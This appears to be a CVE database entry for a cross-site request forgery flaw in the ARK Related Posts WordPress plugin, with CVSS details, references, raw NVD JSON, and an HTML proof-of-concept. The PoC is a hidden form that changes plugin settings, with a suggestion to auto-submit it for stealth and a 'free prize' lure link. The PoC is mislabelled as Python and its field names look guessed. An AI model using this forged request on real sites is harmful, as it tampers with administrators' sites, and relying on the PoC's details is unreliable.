CVE-2025-13684

Description

The ARK Related Posts plugin for WordPress is vulnerable to Cross-Site Request Forgery in version 2.19. This is due to missing or incorrect nonce validation on the ark_rp_options_page function. This makes it possible for unauthenticated attackers to modify the plugin's configuration settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ARK Related Posts plugin for WordPress version 2.19

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-13684 - Modify ARK Related Posts Settings -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-13684</title>
</head>
<body>
    <h1>CSRF PoC for ARK Related Posts Plugin</h1>
    <p>Click the button below to modify plugin settings (requires admin to be logged in)</p>
    
    <form action="http://target-site/wp-admin/admin.php?page=ark_rp_options" method="POST" id="csrfForm">
        <input type="hidden" name="ark_rp_title" value="Malicious Title Modified by CSRF">
        <input type="hidden" name="ark_rp_num_posts" value="99">
        <input type="hidden" name="ark_rp_auto_insert" value="0">
        <input type="hidden" name="submit" value="Save Changes">
        <input type="hidden" name="action" value="ark_rp_save_options">
    </form>
    
    <button onclick="document.getElementById('csrfForm').submit()">Click to Execute CSRF</button>
    
    <script>
        // Auto-submit form on page load (for more stealthy attack)
        // document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

<!-- Alternative: Malicious Link -->
<!-- 
<a href="http://target-site/wp-admin/admin.php?page=ark_rp_options&ark_rp_title=CSRF+Modified&submit=Save+Changes">Click for free prize!</a>
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13684
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13684
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13684/
[4] VulDB https://vuldb.com/cve/CVE-2025-13684
[5] https://plugins.trac.wordpress.org/browser/ark-relatedpost/tags/2.19/ark-relatedpost.php#L109
[6] https://plugins.trac.wordpress.org/browser/ark-relatedpost/trunk/ark-relatedpost.php#L109
[7] https://plugins.trac.wordpress.org/changeset/3416647/
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/7eb53a80-89e5-4d8c-a1ba-c272196a3340?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13684", "sourceIdentifier": "[email protected]", "published": "2025-12-05T08:15:47.883", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ARK Related Posts plugin for WordPress is vulnerable to Cross-Site Request Forgery in version 2.19. This is due to missing or incorrect nonce validation on the ark_rp_options_page function. This makes it possible for unauthenticated attackers to modify the plugin's configuration settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin ARK Related Posts para WordPress es vulnerable a la falsificación de petición en sitios cruzados en la versión 2.19. Esto se debe a la validación de nonce faltante o incorrecta en la función ark_rp_options_page. Esto hace posible que atacantes no autenticados modifiquen la configuración del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ark-relatedpost/tags/2.19/ark-relatedpost.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ark-relatedpost/trunk/ark-relatedpost.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3416647/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7eb53a80-89e5-4d8c-a1ba-c272196a3340?source=cve", "source": "[email protected]"}]}}